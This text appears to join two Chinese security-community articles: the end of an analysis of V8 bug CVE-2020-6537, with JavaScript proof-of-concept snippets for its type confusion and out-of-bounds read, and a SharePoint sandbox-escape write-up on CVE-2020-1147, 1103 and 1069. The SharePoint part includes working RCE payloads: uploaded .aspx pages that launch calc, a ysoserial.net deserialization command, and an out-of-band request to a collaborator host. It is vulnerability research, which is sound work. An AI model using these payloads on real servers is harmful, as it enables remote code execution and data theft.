promiseResolve(promise).then(resolveElementFun, rejectElementFun)
}
当promise被resolve时，就会调用`resolveElementFun`；相应的，promise被reject时，就会调用
`rejectElementFun` 。这两个函数分别由`createResolveElementFunctor` 和
`createRejectElementFunctor`生成，并且它们最终都会调用至`PromiseAllResolveElementClosure`。在这里，V8会将promise处理的结果保存至一个数组中，同时减少“尚未处理完成的promise数量”的值。
transitioning macro PromiseAllResolveElementClosure<F: type>(
implicit context: Context)(
value: JSAny, function: JSFunction, wrapResultFunctor: F): JSAny {
//...
let remainingElementsCount =
UnsafeCast<Smi>(context[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementRemainingSlot]);
remainingElementsCount = remainingElementsCount - 1; // ---> [1]
context[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementRemainingSlot] = remainingElementsCount;
if (remainingElementsCount == 0) {
const capability = UnsafeCast<PromiseCapability>(
context[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementCapabilitySlot]);
const resolve = UnsafeCast<JSAny>(capability.resolve);
Call(context, resolve, Undefined, valuesArray); // ---> [2]
}
return Undefined;
}
可以看到，函数会从resolveElementContext中读取出remainingElementsCount，减去1，然后再保存回去（代码[1]处）。当remainingElementsCount减少至0时，代表所有promise都处理完毕，那么函数就会将结果数组返回给用户（代码[2]处）。
正常而言，`resolveElementFun` 和`rejectElementFun`
这两个函数，最多只能有一个被调用，代表着这个promise是被resolve，还是被reject（promise不可能既resolve，同时又reject）。但是，通过一些回调手法，我们可以获得`resolveElementFun`
和`rejectElementFun`
这两个函数对象，从而有机会同时调用这两个函数。这将导致在处理一个promise对象时，`remainingElementsCount`
会被减去2次，于是进一步导致我们可以在并非所有promise都被处理完的情况下，提前拿到结果数组。此时，V8内部和我们都会持有`valuesArray`
，这就为类型混淆创造了机会。
## Type Confusion
让我们重新来审计`PromiseAllResolveElementClosure`这个函数，只不过这一次我们关心的是V8如何将promise的处理结果保存至`valuesArray`
中。
transitioning macro PromiseAllResolveElementClosure<F: type>(
implicit context: Context)(
value: JSAny, function: JSFunction, wrapResultFunctor: F): JSAny {
// ...
// Update the value depending on whether Promise.all or
// Promise.allSettled is called.
const updatedValue = wrapResultFunctor.Call(nativeContext, value); // ---> [3]
const identityHash =
LoadJSReceiverIdentityHash(function) otherwise unreachable;
assert(identityHash > 0);
const index = identityHash - 1;
// Check if we need to grow the [[ValuesArray]] to store {value} at {index}.
const valuesArray = UnsafeCast<JSArray>(
context[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementValuesArraySlot]);
const elements = UnsafeCast<FixedArray>(valuesArray.elements); // ---> [4]
const valuesLength = Convert<intptr>(valuesArray.length);
if (index < valuesLength) {
// The {index} is in bounds of the {values_array},
// just store the {value} and continue.
elements.objects[index] = updatedValue; // ---> [5]
}
// ...
}
在代码 [4] 处，`valuesArray`
的element被直接当作FixedArray来进行处理。但与此同时，我们已经获得了`valuesArray`，并能够对其进行操作了。通过在其上设置一个较大的索引值，我们可以把它转换为一个dictionary
array，此时，就会出现FixedArray和NumberDictionary之间的类型混淆。
## Exploitation
在发现这个漏洞后，我们实现的第一套利用方法，在稳定性和兼容性上都存在一定问题，但仍不失为一个有趣的思路。最终的Android
Root利用链中，我们采取的是另一种稳定性更高的方法。下面我们将分别进行介绍。
### Limitations
乍一看上去，利用FixedArray和NumberDictionary之间的类型混淆似乎很容易就能造成可控的越界写。当V8想要将结果保存至`valuesArray`时，会首先检查index是否越界。如果index
< array.length，那么V8就直接将结果写入array.elements（如代码 [5]
所示）。这是因为V8假定了`valuesArray`一定是属于PACKED_ELEMENT类型，使用的是FixedArray来存储元素，这种类型的数组，一定会有FixedArray长度大于等于array长度的约束。如果满足了index
< array.length，显然也就满足了index <
FixedArray.length，因此向FixedArray写入数据是不可能发生越界的。但利用类型混淆，我们可以将`valuesArray`转换为dictionary
mode，此时使用的是NumberDictionary存储元素，array.length可以是一个很大的值，而NumberDictionary的size却可以比较小。这样一来，我们就可以绕过index
< array.length的检查，造成越界写。但实际情况真的是这样吗？
经过进一步测试发现，在Torque编译器生成形如 _elements.objects[index] = value_ 的代码时，是会额外加入越界检查的：
// src/builtins/torque-internal.tq
struct Slice<T: type> {
macro TryAtIndex(index: intptr):&T labels OutOfBounds {
if (Convert<uintptr>(index) < Convert<uintptr>(this.length)) {
return unsafe::NewReference<T>(
this.object, this.offset + index * %SizeOf<T>());
} else {
goto OutOfBounds;
}
}
// ...
}
这会最终执行到’unreachable code’，然后导致进程崩溃。因此，我们必须考虑其他方式。
另外的一个限制在于，越界写入的数据内容并不是我们可以控制的，它总是一个JSObject的地址，这个object生成于代码 [2] 处，例如：
_{status: “fulfilled”, value: 1}_ 。
### The NumberDictionary
我们虽然能造成FixedArray与NumberDictionary之间的类型混淆，但是只能往NumberDictionary的范围内写入受限的内容。那么NumberDictionary中有什么内容是值得被写的呢？
首先来看一下FixedArray与NumberDictionary的内存结构对比：
可以看到，NumberDictionary有着更多的metadata
fields。`Capacity`代表了NumberDictionary所能保存的最大entry数量，看上去是一个比较有价值的目标。通过将其修改为一个JSObject的地址（通常是一个很大的值），我们就得到一个畸形的JSArray，并利用其中的NumberDictionary造成越界读写。然而，通过这种方式进行的越界访问偏移值却是不可预测的。
我们通过向普通NumberDictionary中写入一次数据为例：
let arr = [];
arr[0x10000] = 0x42;
为了写入key-value，V8需要确定两件事情。
1. 当前NumberDictionary中是否已经存在以key为索引的entry，如果存在，则只需更新该entry即可
2. 如果不存在对应entry，则可以使用一个空entry，或者新增entry
这个过程是通过`FindEntry`来完成的。
// v8/src/objects/hash-table-inl.h
// Find entry for key otherwise return kNotFound.
template <typename Derived, typename Shape>
InternalIndex HashTable<Derived, Shape>::FindEntry(IsolateRoot isolate,
ReadOnlyRoots roots, Key key,
int32_t hash) {
uint32_t capacity = Capacity();
uint32_t count = 1;
Object undefined = roots.undefined_value();
Object the_hole = roots.the_hole_value();
USE(the_hole);
// EnsureCapacity will guarantee the hash table is never full.
for (InternalIndex entry = FirstProbe(hash, capacity);;
entry = NextProbe(entry, count++, capacity)) {
Object element = KeyAt(isolate, entry);
// Empty entry. Uses raw unchecked accessors because it is called by the
// string table during bootstrapping.
if (element == undefined) return InternalIndex::NotFound();
if (Shape::kMatchNeedsHoleCheck && element == the_hole) continue;
if (Shape::IsMatch(key, element)) return entry;
}
}
// v8/src/objects/hash-table.h
inline static InternalIndex FirstProbe(uint32_t hash, uint32_t size) {
return InternalIndex(hash & (size - 1));
}
inline static InternalIndex NextProbe(InternalIndex last, uint32_t number,
uint32_t size) {
return InternalIndex((last.as_uint32() + number) & (size - 1));
}
// v8/src/objects/dictionary-inl.h
uint32_t NumberDictionaryBaseShape::Hash(ReadOnlyRoots roots, uint32_t key) {
return ComputeSeededHash(key, HashSeed(roots));
}
函数调用了`FirstProbe` 来决定从何处开始搜索key。假设`FirstProbe` 返回了 _i_ ，且偏移为 _i_
的entry不符合条件，那么V8将会调用`NextProbe` 来获得下一个偏移。这个尝试偏移的序列为： _i_ , _i + 1_ , _i + 1 +
2_ , _i + 1 + 2 + 3_ …
`FirstProbe`接受2个参数，`size`代表NumberDictionary的容量，即我们覆写的Capacity字段，`hash`
则由`NumberDictionaryBaseShape::Hash`计算而来。不幸的是，`hash`
并不是可预测的，因为V8使用了一个Int64长度的随机值作为种子。
因此如果我们通过覆写Capacity，以此来触发越界，那么计算出来的偏移将可能是 _[0, capacity – 1]_ 范围内的任意值。
### Strategy 1
既然我们不能控制越界的偏移，那么是否能利用堆喷来让越界访问变得“有意义”？
正常而言，在32位环境下的堆喷比64位更稳定，因为64位环境下的地址空间实在是太大了。但是在V8堆上，情况可能有所不同。目前64位下的V8开启了名为[指针压缩](https://v8.dev/blog/pointer-compression)的配置，确保所有的V8对象都分配在一个4GB大小的空间中。这个配置反而让64位环境下的堆喷存在一定可能。
我们继续来分析NumberDictionary的元素存取方式。前文说到了，将一个key-value对保存在dictionary
array中时，V8需要在NumberDictionary中寻找到合适的entry。`IsMatch`
函数负责检查当前的key是否等于entry中保存的key。
// v8/src/objects/dictionary-inl.h
bool NumberDictionaryBaseShape::IsMatch(uint32_t key, Object other) {
DCHECK(other.IsNumber());
return key == static_cast<uint32_t>(other.Number());
}
// v8/src/objects/objects-inl.h
double Object::Number() const {
DCHECK(IsNumber());
return IsSmi() ? static_cast<double>(Smi(this->ptr()).value())
: HeapNumber::unchecked_cast(*this).value();
}
如果entry中保存的key不是一个`Smi`，V8则会直接将其当作`HeapNumber`，然后把它的值转为`uint32_t`类型。这也可以理解为一次类型混淆，因为在触发越界访问时，位于越界堆上的数据可能为任意object。一旦V8在越界堆上找到了所谓“正确的”entry，它将往这个entry的value
field中写入一个可控的值。因此，我们可以大量的在堆上伪造entry，然后触发一次越界写，让V8往我们想要的地方写入值，从而造成影响更大的内存破坏。下面是我们采取的方式：
1. 使用JSObject _`obj`_ 进行堆喷。
2. 触发一次越界写，让V8将 _`obj.properties`_ 当作 _`dictionary_entry.key`_ ，将 _`obj.elements`_ 当作 _`dictionary_entry.value`_ 。因此V8将向 _`obj.elements`_ 写入我们控制的值。在这里我们选择的是写入一个double JSArray _`array`_ 。这会造成FixedArray（ _`obj.elements`_ ）和JSArray（ _`array`_ ）之间的类型混淆。
3. 现在，类似 _obj[idx] = value_ 的代码将会直接修改 _`array`_ 的内存，例如修改其length。
4. 利用这个length被修改的JSArray，达到任意地址读写的目标就很容易了。
下面的图片展示了在堆喷之后的内存布局：
举例来看，我们的目标是让V8将0x21e60bedc760处的内存当作一个dictionary entry，同时让V8认为它找到了正确的entry。Fake
entry中的 `Key` field实际上是某个JSObject的 `Properties`
field。V8会将其视作一个`HeapNumber`，然后把它的value转换为`uint32_t`类型。在这里例子中，转换后的值是3。因此我们只需要执行`confused_array[3]
= xxx`，即可让V8覆写Fake entry的 `Value` field。
到这里可能有人会产生一个疑惑，既然越界访问的偏移是随机的，那么如果V8没有访问到上面描述的那个Fake
entry怎么办？实际上，我们可以通过利用V8寻找entry的特性以及合理控制堆喷的内容来解决这个问题：
1. 前文已经介绍过，当entry不符合要求时，V8会利用next probe计算下一次访问的偏移。这就像堆喷中的nop sled一样，保证了访问entry这个操作会持续不断进行。
2. 由于指针压缩特性，V8的堆只有4GB大小，完全可以在一个可接受的时间内完成堆喷。
完成这一步之后，实现任意地址读写就是一件很简单的事情了。目前已有很多优秀的资料介绍了相关内容，在这里不再赘述。
### Strategy 2
上述利用思路存在着一些缺点：
* 它不是一个100%成功率的方案
* 它无法在32位环境中使用
而当时Pixel 4上的Chrome是32位的，意味着并不能满足要求。在之后的几周时间，我们找到了新的利用思路。
重新回顾这张对比图：
除了修改Capacity之外，是否有其他更好的选择？经过研究我们发现，MaxNumberKey这个字段有着非常特殊的含义。MaxNumberKey代表了这个数组中保存的所有元素的最大索引值，同时，其最低有效位表明了数组中是否存在特殊元素，例如accessors。以如下代码为例，我们可以在数组上定义一个getter：
let arr = []
arr[0x10000] = 1
Object.defineProperty(arr, 0, {
get : () => {
console.log("getter called")
return 1
}
})
此时，MaxNumberKey最低有效位为0，代表存在特殊元素。但是通过漏洞，我们可以将其覆写为一个JSObject的地址，而在V8中，任何HeapObject地址的最低位，恰好为1。即经过覆写的数组，即使上面定义了特殊元素，V8也会认为它不再特殊。
接下来，我们需要寻找能够充分利用这一影响的代码，在这里我们选择了Array.prototype.concat函数。该函数会调用至`IterateElements`，用于迭代被连接的数组。
bool IterateElements(Isolate* isolate, Handle<JSReceiver> receiver,
ArrayConcatVisitor* visitor) {
/* skip */
if (!visitor->has_simple_elements() ||
!HasOnlySimpleElements(isolate, *receiver)) {// ---> [6]
return IterateElementsSlow(isolate, receiver, length, visitor);
}
/* skip */
FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {
Handle<Object> element_value(elements->get(j), isolate);// ---> [7]
if (!element_value->IsTheHole(isolate)) {
if (!visitor->visit(j, element_value)) return false;
} else {
Maybe<bool> maybe = JSReceiver::HasElement(array, j);
if (maybe.IsNothing()) return false;
if (maybe.FromJust()) {
ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, element_value,
JSReceiver::GetElement(isolate, array, j), false);// ---> [8]
if (!visitor->visit(j, element_value)) return false;
}
}
});
/* skip */
}
在代码[6]处，V8检查了数组是否含有特殊元素，我们通过覆写MaxNumberKey，可以绕过这一检查，让函数进入后续的快速遍历路径。在代码[8]处，GetElement将触发accessor，执行自定义的js代码，从而有机会将数组的长度改为一个更小的值。随着遍历循环中的索引不断增大，最终在代码[7]处，会发生越界读。
var arr; // 假设arr是一个类型混淆后的数组
var victim_arr = new Array(0x200);
Object.defineProperty(arr, 0, {
get : () => {
print("=== getter called ===");
victim_arr.length = 0x10; // 在回调函数中修改数组长度
gc();
return 1;
}
});
// 越界读
arr.concat(victim_arr);
通过上述方案，我们将原本的类型混淆，转换成了另一处越界读问题。利用越界读，我们就拥有了fake obj的能力，进而也可以轻松实现任意地址读写了。
## Conclusion
本文对CVE-2020-6537的成因进行了分析，并介绍了两种利用思路。这个漏洞是我们远程ROOT Pixel
4利用链中的一环，在后面的系列文章中，我们将会对利用链中的提权漏洞进行详细介绍。
* * * | 社区文章 |
**作者：青藤实验室**
**原文链接：<https://mp.weixin.qq.com/s/Z2hDtlsu0zgKY8YWhDBS7g>**
在 [SharePoint Rce 系列分析（一）](https://mp.weixin.qq.com/s/FfHc8TFUs_4H8JHWbYv3FQ)
里我通过 CVE-2020-0974 展示了利用参数使用不当 bypass 沙箱； 在 [SharePoint Rce
系列分析（二）](https://mp.weixin.qq.com/s/ZLSFXUoNNAFxqeiD9RpYZg) 里通过 CVE-2020-1444
展示了利用服务端处理逻辑不当（TOCTOU） bypass 沙箱；
本文是这个系列的完结篇，将通过三个漏洞，展示如何从 SP 白名单入手挖掘突破口。
CVE-2020-1147：利用 **白名单类** ，通过 Asp.Net 处理 `DataSet` 反序列化不当实现 rce；
CVE-2020-1103：利用 **读白名单类属性** ，通过白名单上的类公有属性与继承关系读子属性（read gadgets），直到能读
**machineKey** ； CVE-2020-1069：利用 **写白名单类属性** ，通过白名单上的类公有属性与继承关系写子属性（write
gadgets），直到能写用户上传网页文件的 **VirtualPath** （SP 通过 **VirtualPath** 判断网页文件来源）；
我在之前的系列分析里介绍过 SP 的沙箱模型，把用户上传的网页文件称作被“阉割了一部分功能”。微软出于安全考虑，只允许用户上传的网页文件在实现 Server
Control 时引用一部分类，这部分类定义在 **web.config** 中，简称 SP **白名单** 。至于 Server Control
是什么，按照我的理解，就是 Asp.Net
提供给开发者的一种前后端数据交互的方式，比如我可以在网页文件中引用服务端定义的类、方法，读写服务端的（公有）类（子）属性。
## 调试环境
Server2016
SP2016
dnSpy
## 背景知识
### http out-of-band
在 SP 中，当 **无法** 直接从 http 响应中获取我想要的信息时，可以考虑 http out-of-band，具体通过
`XmlUrlDataSource` 或 `SoapDataSource` 实现，比如下面是 `XmlUrlDataSource` 的用法：
PUT /test.aspx HTTP/1.1
<WebPartPages:DataFormWebPart runat="server" Title="REST" DisplayName="REST" ID="rest">
<DataSources>
<SharePoint:XmlUrlDataSource runat="server" AuthType="None" HttpMethod="GET" SelectCommand="http://zrun0o589ksxz108ewi4134nqew7kw.burpcollaborator.net">
<SelectParameters>
<WebPartPages:DataFormParameter Name="test1" ParameterKey="test2" PropertyName="ParameterValues" DefaultValue="xiaoc"/>
</SelectParameters>
</SharePoint:XmlUrlDataSource>
</DataSources>
</WebPartPages:DataFormWebPart>
dnslog 可以看到请求记录
### read/write gadgets
SP 白名单定义在 web.config 的 **SafeControl** 项中
通过类继承关系，可以像链一样迭代引用子属性来进行读（read gadgets）写（write gadgets）操作，比如：
// A is a white-list class
public class A {
public B b;
}
public class B {
public C c;
}
public class C {
public D d;
}
我可以在上传网页文件中引用 `A.b.c.d` 进行读写操作。
读写是不同权限的操作，对目标属性的要求也不同，除了 gadgets 的起点需要在白名单中外。对于读操作，只要满足属性是 `public`
且符合继承关系就可读；对于写操作，除了上述要求，还需要满足 write gadgets 的终点（比如 `A.b.c.d` 中的 `d`）不能被
`DesignerSerializationVisibility.Hidden` 属性修饰。
用 **gadgets** 这种方法突破沙箱，是这个议题引用的漏洞列表中反复使用的一种方法，除了 .net，议题的后半部分展示了通过 gadgets
突破各种 java 表达式语言的沙箱。
## CVE-2020-1147
CVE-2020-1147 的原理很直接，在修复该漏洞之前，如果用 `DataSet` 或 `DataTable` 读攻击者完全可控的数据，攻击者可以构造
xml payload 通过反序列化（不是 VIEWSTATE 反序列化）实现 rce。关于这部分的原理、payload 生成步骤可以通过文末 **参考**
中的 mr_me 的博客了解详情。
再看这个漏洞，通过白名单类 `ContactLinksSuggestionsMicroView` 的 `PopulateDataSetFromCache`
方法，找到了 `DataSet` 反序列化的用法，这里直接用作者的原图
之后就是根据调用路径去构造满足要求的 payload。
利用漏洞需要发送两次请求。
1）上传 .aspx
PUT /1147.aspx HTTP/1.1
Content-Type: text/xml; charset=utf-8
<%@ Page Language="C#" %>
<%@ Register tagprefix="mst" namespace="Microsoft.SharePoint.Portal.WebControls" assembly="Microsoft.SharePoint.Portal, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<form id="form1" runat="server">
<mst:ContactLinksSuggestionsMicroView id="CLSMW1" runat="server" />
<asp:TextBox ID="__SUGGESTIONSCACHE__" runat="server"></asp:TextBox>
<asp:Button ID="Button1" runat="server" Text="Submit" />
</form>
在浏览器上显示是一个简单的输入框，第二个请求是在这个输入框里提交 payload
2）向 1147.aspx 提交包含 payload 的 postback 请求 构造 payload 也可以分为两步，首先借助 ysoserial.net
生成反序列化 payload
ysoserial.exe -f BinaryFormatter -g DataSet -o base64 -c "calc" -t
构造包含反序列化 payload 的 xml
然后把整个 xml 在 1147.aspx 的输入框中提交就可以看到 calc 进程启动。
CVE-2020-1147 的主要问题不是 `ContactLinksSuggestionsMicroView` 作为白名单类不合适，而是用
`DataSet` 反序列化时可以通过输入控制反序列化类型，这在反序列化（经常需要处理不可信数据）的使用场景中肯定是有问题的。因此在安装的了
CVE-2020-1147 的补丁后，`DataSet` 或者 `DataTable` 能够反序列化的类型被限制在了一个白名单中，详情可通过 **参考**
中的微软官方说明了解。
## CVE-2020-1103
CVE-2020-1103 利用 read gadgets 实现 rce。在 SP 中，要说从任意读到 rce，很直观地会想到
`MachineValidationKey`。作者找到的能读 `MachineValidationKey` 的 read gadgets 是：
Web.Site.WebApplication.Farm.InitializationSettings[MachineValidationKey]
但是，默认按照安装向导安装的 SP 环境中这个值为空
参考 [Nauplius/FarmLaunch](https://github.com/Nauplius/FarmLaunch) 可以知道只有在安装
farm 之前将 unattend.txt 放到
C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16\CONFIG\
目录下再安装 farm，`SPFarm.InitializationSettings` 才不为空。
所以我之后用会另一个属性来证明漏洞存在
对应的 read gadgets 就变成了
Web.Site.WebApplication.Farm.Id
首先执行表达式的地方是 `DataBinder.Eval`
参考 [DataBinder.Eval Method](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.databinder.eval?view=netframework-4.8) 可以知道 `text`
可以写成 `A.B.C[N].D` 这样的表达式，用 `text` 表达式的执行结果可以获取 `control2` 对象的任何公有（级联）属性。
通过[官方文档](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.webcontrols.controlparameter?view=netframework-4.8)给出的用法示例
以及解释
可以知道用 `ControlParameter` 可以获取提前绑定好值的通知属性，再通俗点解释，就是（用类似 `A.B.C[N].D`
这样的表达式）可以获取任何 `System.Web.UI.Control` 子类对象的公有属性。
再看 `ControlParameter#Evaluate` 的参数流，很容易发现 `DataBinder.Eval` 的两个参数完全可控
string controlID = this.ControlID;
string text = this.PropertyName;
Control control2 = DataBoundControlHelper.FindControl(control, controlID);
object obj = DataBinder.Eval(control2, text);
分别对应
和
（获取属性的）表达式的构造只需要满足两个条件即可：
1\. 作为执行上下文的类必须继承自 `System.Web.UI.Control`
2\. 获取的目标属性必须是 public，当然可以继承自父类
这里用逆推的方式解释比较好理解，首先`SPFarm.InitializationSettings` 里存储了
`MachineValidationKey`，我这里用的是 `SPFarm.Id`，接下来就是根据继承关系逆推调用链的过程，直到找到
`System.Web.UI.Control` 的子类：
// Microsoft.SharePoint.Administration.SPFarm
// SPPersistedObject -> SPPersistedUpgradableObject -> SPFarm
public Guid Id { get; set; }
// Microsoft.SharePoint.Administration.SPPersistedObject
// SPPersistedObject -> SPPersistedUpgradableObject -> SPWebApplication
public Microsoft.SharePoint.Administration.SPFarm Farm { get; }
// Microsoft.SharePoint.SPSite
public Microsoft.SharePoint.Administration.SPWebApplication WebApplication { get; }
// Microsoft.SharePoint.SPWeb
public Microsoft.SharePoint.SPSite Site { get; }
// Microsoft.SharePoint.WebControls.TemplateBasedControl
// Control -> SPControl -> TemplateBasedControl
public virtual Microsoft.SharePoint.SPWeb Web { get; }
下面是获取 `Farm.Id` 的 dnslog 截图，省略了 PUT 之后的 GET 请求
## CVE-2020-1069
回顾一下 filter 机制中如何区分受信与非受信 `.aspx`
可以看出 `System.Web.UI.PageParserFilter.VirtualPath` 在这里扮演了一个安全标志位的角色。
举个例子，比如 layouts 目录下系统自带的 `.aspx` 通过 `/_layouts/15/xxx.aspx` 这样的 path
去访问，而我们上传的 `.aspx` 比如 `PUT /1069.aspx HTTP/1.1` 则是直接通过 `/1069.aspx` 这样的 path
访问，服务端很容易区分，也就方便决定是否启用沙箱。 **可以设想** ，假如我把上传的 `.aspx` 的路径改成了
`/_layouts/15/xxx.aspx`，服务端在判断是否启用沙箱时就会把我当成文件系统上的 `.aspx` 而不是数据库中，这样我上传
`.aspx` 就不会有任何限制。
通过 `VirtualPath` 的定义可以发现它只有 getter 没有 setter
当请求上传的 .aspx 时，通过调试可以发现它的值在 Create Method 中完成了赋值
此时的部分调用堆栈
根据作者的介绍 `VirtualPath` 的值由 `AppRelativeVirtualPath` 决定，原因没有解释，我从 call stack
中直接唯一一个和 TemplateControl 有关的调用节点：
这个过程基本上是直接的参数传递，所以很明显。
最后一个问题是如何改变 `AppRelativeVirtualPath` 的值。
先看看出问题的类 `WikiContentWebpart` 的整体结构：
从继承关系可以看出一直到 object 都没有看到 `TemplateControl`，如果能通过 `WikiContentWebpart` 改变
`AppRelativeVirtualPath`，要么是继承，要么是 aop。从这里来看显然不是继承。顺着继承关系往上找，最终在
`System.Web.UI.Control` 中找到了 Page 属性：
而 Page 是继承自 `TemplateControl`
另外，`Microsoft.SharePoint.WebPartPages.WikiContentWebpart`先这个类在白名单中：
到这里总结一下上面的分析： 通过控制 WikiContentWebpart（白名单） -> 控制 Page 属性（WikiContentWebpart
继承自 control） -> 控制 Page 的 AppRelativeVirtualPath 属性（Page 继承自 TemplateControl）
最终获得 **控制 VirtualPath** 的效果
利用仍然是两步，首先上传 payload
PUT /1069.aspx HTTP/1.1
<%@ Page Language="C#" %>
<head runat="server" />
<form id="f1" runat="server">
<asp:menu id="NavMenu1" runat="server">
<StaticItemTemplate>
<WebPartPages:WikiContentWebpart id="WikiWP1" runat="server" Page-AppRelativeVirtualPath='<%# Eval("ToolTip") %>'>
<content>
<asp:ObjectDataSource ID="DS1" runat="server" SelectMethod="Start" TypeName="system.diagnostics.Process" >
<SelectParameters>
<asp:Parameter Direction="input" Type="string" Name="fileName" DefaultValue="calc"/>
</SelectParameters>
</asp:ObjectDataSource>
<asp:ListBox ID="ListBox1" runat="server" DataSourceID= "DS1"/>
</content>
</WebPartPages:WikiContentWebpart>
</StaticItemTemplate>
<items>
<asp:menuitem text="MenuItem1" ToolTip="/_layouts/15/settings.aspx"/>
</items>
</asp:menu>
</form>
trigger rce
## 参考
<https://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf>
<https://docs.microsoft.com/en-us/dotnet/api/system.componentmodel.designerserializationvisibilityattribute?view=net-5.0>
<https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/dataset-datatable-dataview/security-guidance>
<https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html>
* * * | 社区文章 |